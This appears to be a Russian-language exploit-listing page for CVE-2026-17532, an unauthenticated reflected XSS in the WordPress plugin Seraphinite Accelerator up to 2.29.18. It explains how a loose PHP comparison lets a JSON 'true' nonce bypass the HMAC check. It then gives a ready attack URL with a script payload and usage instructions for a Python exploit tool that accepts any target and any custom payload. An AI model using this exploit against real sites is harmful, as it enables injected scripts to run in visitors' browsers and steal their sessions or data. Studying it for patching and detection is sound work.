CVE-2026-17532 — Seraphinite Accelerator <= 2.29.18 - Отражённый межсайтовый скриптинг (XSS) PoC | Kitploit

Seraphinite Accelerator <= 2.29.18 — Отражённый XSS без аутентификации

Плагин подписывает свои внутренние запросы «подготовки страницы» с помощью HMAC в параметре seraph_accel_prep (JSON в base64), но сравнивает это значение нестрогим оператором PHP !=. Передача JSON-булева значения true в качестве nonce приводит к тому, что сравнение всегда проходит, и поле selfTest затем возвращается без экранирования в виде selfTest-<value>.

Один URL, без аутентификации:

http://TARGET/?seraph_accel_prep=<base64 of {"_tm":"1","nonce":true,"selfTest":"<script>alert(document.domain)</script>"}>

Использование

Python (требуется ):

pip install requests

usage: seraph_accel_xss.py [-h] --url URL [--payload PAYLOAD] [--timeout TIMEOUT]

Seraphinite Accelerator (WordPress) <= 2.29.18

options:
  -h, --help         show this help message and exit
  --url URL          target site, e.g. http://target-site.com
  --payload PAYLOAD  XSS payload (default: <script>alert(document.domain)</script>)
  --timeout TIMEOUT  seconds (default: 30)

CVE-2026-17532

Популярное

Seraphinite Accelerator <= 2.29.18 — Отражённый XSS без аутентификации

Использование